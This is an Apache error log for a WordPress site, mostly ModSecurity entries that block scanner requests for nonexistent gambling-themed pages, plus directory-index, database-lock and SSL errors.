[Wed Feb 11 19:52:55.682706 2026] [autoindex:error] [pid 22537:tid 22555] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:52:55.981481 2026] [autoindex:error] [pid 22537:tid 22545] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/namespaced/Core/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 19:52:57.980605 2026] [autoindex:error] [pid 22537:tid 22543] [client 194.5.82.28:28679] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/latest-comments/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 21:15:33.671469 2026] [:error] [pid 22570:tid 22622] [client 185.231.100.76:36446] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYyA9SE5uSe043FXwQqAswAAAdY"]
[Wed Feb 11 21:15:36.044350 2026] [:error] [pid 27965:tid 28017] [client 185.231.100.76:45800] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYyA-NHLAUAIo8qpZyFwwAAAAE4"]
[Wed Feb 11 21:15:38.644837 2026] [:error] [pid 22569:tid 22587] [client 185.231.100.76:45812] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYyA-sAhSI7iX9G3enhA_QAAAY4"]
[Wed Feb 11 21:15:41.139402 2026] [:error] [pid 22570:tid 22602] [client 185.231.100.76:45822] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYyA_SE5uSe043FXwQqAuwAAAcI"]
[Wed Feb 11 21:15:43.752874 2026] [:error] [pid 28073:tid 28093] [client 185.231.100.76:34110] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYyA_4eHYIlOlF-DsMzx4wAAANI"]
[Wed Feb 11 21:15:46.243466 2026] [:error] [pid 27965:tid 28006] [client 185.231.100.76:34124] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYyBAtHLAUAIo8qpZyFwzAAAAEM"]
[Wed Feb 11 21:15:48.730534 2026] [:error] [pid 27964:tid 27986] [client 185.231.100.76:34138] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYyBBMp0XgWYHLcQtEjwNgAAAAs"]
[Wed Feb 11 21:15:51.300972 2026] [:error] [pid 28073:tid 28076] [client 185.231.100.76:34150] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYyBB4eHYIlOlF-DsMzyFAAAAME"]
[Wed Feb 11 21:15:53.823007 2026] [:error] [pid 27964:tid 27991] [client 185.231.100.76:35078] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aYyBCcp0XgWYHLcQtEjwOQAAABA"]
[Wed Feb 11 21:15:56.346073 2026] [:error] [pid 27964:tid 27995] [client 185.231.100.76:35090] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aYyBDMp0XgWYHLcQtEjwQAAAABQ"]
[Wed Feb 11 21:16:05.833349 2026] [:error] [pid 27964:tid 27988] [client 185.231.100.76:47436] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYyBFcp0XgWYHLcQtEjwUgAAAA0"]
[Wed Feb 11 21:16:08.171045 2026] [:error] [pid 22570:tid 22609] [client 185.231.100.76:47446] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYyBGCE5uSe043FXwQqA6wAAAck"]
[Wed Feb 11 21:16:10.764487 2026] [:error] [pid 27965:tid 28016] [client 185.231.100.76:47458] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYyBGtHLAUAIo8qpZyFw7wAAAE0"]
[Wed Feb 11 21:16:13.248678 2026] [:error] [pid 27965:tid 28013] [client 185.231.100.76:41798] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYyBHdHLAUAIo8qpZyFw8QAAAEo"]
[Wed Feb 11 21:16:15.569218 2026] [:error] [pid 17401:tid 17411] [client 185.231.100.76:41806] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aYyBHw0lHeayTY40t351sQAAAQg"]
[Wed Feb 11 21:16:17.869818 2026] [:error] [pid 28073:tid 28090] [client 185.231.100.76:41814] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aYyBIYeHYIlOlF-DsMzyLAAAAM8"]
[Wed Feb 11 21:16:20.187876 2026] [:error] [pid 22569:tid 22580] [client 185.231.100.76:41830] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aYyBJMAhSI7iX9G3enhBPAAAAYc"]
[Wed Feb 11 21:16:22.810395 2026] [:error] [pid 27964:tid 27981] [client 185.231.100.76:41844] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aYyBJsp0XgWYHLcQtEjwagAAAAY"]
[Wed Feb 11 21:16:25.297952 2026] [:error] [pid 22570:tid 22616] [client 185.231.100.76:53196] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aYyBKSE5uSe043FXwQqA-gAAAdA"]
[Wed Feb 11 21:16:27.936649 2026] [:error] [pid 27964:tid 27983] [client 185.231.100.76:53202] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aYyBK8p0XgWYHLcQtEjwdQAAAAg"]
[Wed Feb 11 21:18:50.175792 2026] [:error] [pid 27964:tid 27984] [client 185.231.100.76:43358] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aYyBusp0XgWYHLcQtEjxOwAAAAk"]
[Wed Feb 11 21:18:52.522721 2026] [:error] [pid 27965:tid 28009] [client 185.231.100.76:33406] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYyBvNHLAUAIo8qpZyFxnAAAAEY"]
[Wed Feb 11 21:18:55.093034 2026] [:error] [pid 27964:tid 27989] [client 185.231.100.76:41714] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aYyBv8p0XgWYHLcQtEjxQQAAAA4"]
[Wed Feb 11 21:18:57.709207 2026] [:error] [pid 28073:tid 28076] [client 185.231.100.76:41730] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aYyBwYeHYIlOlF-DsMzzdAAAAME"]
[Wed Feb 11 21:19:00.309511 2026] [:error] [pid 27964:tid 27996] [client 185.231.100.76:41742] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYyBxMp0XgWYHLcQtEjxSQAAABU"]
[Wed Feb 11 21:19:02.880848 2026] [:error] [pid 27964:tid 27995] [client 185.231.100.76:41746] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aYyBxsp0XgWYHLcQtEjxUQAAABQ"]
[Wed Feb 11 21:19:05.470856 2026] [:error] [pid 27964:tid 27999] [client 185.231.100.76:53372] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aYyBycp0XgWYHLcQtEjxVwAAABg"]
[Wed Feb 11 21:19:07.936126 2026] [:error] [pid 27964:tid 27996] [client 185.231.100.76:53378] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aYyBy8p0XgWYHLcQtEjxWAAAABU"]
[Wed Feb 11 21:19:10.565337 2026] [:error] [pid 27966:tid 28030] [client 185.231.100.76:53390] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aYyBzl8HJ9ydyf0SPu7HfgAAAIA"]
[Wed Feb 11 21:19:13.160660 2026] [:error] [pid 27965:tid 28019] [client 185.231.100.76:53400] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYyB0dHLAUAIo8qpZyFxpAAAAFA"]
[Wed Feb 11 21:19:15.616984 2026] [:error] [pid 22537:tid 22539] [client 185.231.100.76:59506] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYyB0yfg2TagwM3bvQMJpwAAAUA"]
[Wed Feb 11 21:19:18.059562 2026] [:error] [pid 27964:tid 27996] [client 185.231.100.76:59516] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYyB1sp0XgWYHLcQtEjxXgAAABU"]
[Wed Feb 11 21:19:20.888854 2026] [:error] [pid 17401:tid 17424] [client 185.231.100.76:59528] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYyB2A0lHeayTY40t352pQAAARU"]
[Wed Feb 11 21:19:23.479159 2026] [:error] [pid 22537:tid 22546] [client 185.231.100.76:41192] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYyB2yfg2TagwM3bvQMJtgAAAUc"]
[Wed Feb 11 21:19:26.063800 2026] [:error] [pid 22537:tid 22558] [client 185.231.100.76:41194] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYyB3ifg2TagwM3bvQMJvgAAAVM"]
[Wed Feb 11 21:19:28.645692 2026] [:error] [pid 28073:tid 28079] [client 185.231.100.76:41196] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYyB4IeHYIlOlF-DsMzzrgAAAMQ"]
[Wed Feb 11 21:19:31.266006 2026] [:error] [pid 28073:tid 28075] [client 185.231.100.76:41210] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aYyB44eHYIlOlF-DsMzzuAAAAMA"]
[Wed Feb 11 21:19:33.845932 2026] [:error] [pid 27964:tid 27990] [client 185.231.100.76:36452] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aYyB5cp0XgWYHLcQtEjxdgAAAA8"]
[Wed Feb 11 21:19:36.475419 2026] [:error] [pid 27964:tid 27976] [client 185.231.100.76:36468] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aYyB6Mp0XgWYHLcQtEjxfwAAAAE"]
[Wed Feb 11 21:19:39.058116 2026] [:error] [pid 22570:tid 22601] [client 185.231.100.76:36482] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYyB6yE5uSe043FXwQqCLgAAAcE"]
[Wed Feb 11 21:19:41.497963 2026] [:error] [pid 27964:tid 27985] [client 185.231.100.76:36498] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aYyB7cp0XgWYHLcQtEjxigAAAAo"]
[Wed Feb 11 21:19:44.067777 2026] [:error] [pid 28073:tid 28096] [client 185.231.100.76:48162] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYyB8IeHYIlOlF-DsMzz3wAAANU"]
[Wed Feb 11 21:44:24.353623 2026] [proxy_fcgi:error] [pid 22570:tid 22610] [client 49.13.167.123:51872] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1770817464.1492578983306884765625', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, add_option', referer: https://vetstars.com.au/
[Wed Feb 11 21:45:41.613250 2026] [ssl:error] [pid 27966:tid 28033] [client 16.147.187.39:43876] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup
[Wed Feb 11 23:25:01.549116 2026] [:error] [pid 17401:tid 17427] [client 217.182.194.3:45348] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aYyfTQ0lHeayTY40t36OegAAARg"]
[Wed Feb 11 23:25:03.962195 2026] [:error] [pid 28073:tid 28079] [client 217.182.194.3:40104] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aYyfT4eHYIlOlF-DsMwjHAAAAMQ"]
[Wed Feb 11 23:25:06.586908 2026] [:error] [pid 27964:tid 27996] [client 217.182.194.3:40108] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYyfUsp0XgWYHLcQtEgUXAAAABU"]
[Wed Feb 11 23:25:09.243726 2026] [:error] [pid 22537:tid 22539] [client 217.182.194.3:60060] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aYyfVSfg2TagwM3bvQMhSwAAAUA"]
[Wed Feb 11 23:25:11.724255 2026] [:error] [pid 22537:tid 22563] [client 217.182.194.3:60074] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYyfVyfg2TagwM3bvQMhUQAAAVg"]
[Wed Feb 11 23:25:14.300166 2026] [:error] [pid 27965:tid 28005] [client 217.182.194.3:60092] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYyfWtHLAUAIo8qpZyGPaAAAAEI"]
[Wed Feb 11 23:25:17.342686 2026] [:error] [pid 27964:tid 27988] [client 217.182.194.3:60104] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aYyfXcp0XgWYHLcQtEgUagAAAA0"]
[Wed Feb 11 23:25:19.959766 2026] [:error] [pid 22569:tid 22596] [client 217.182.194.3:48380] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aYyfX8AhSI7iX9G3enhbdAAAAZc"]
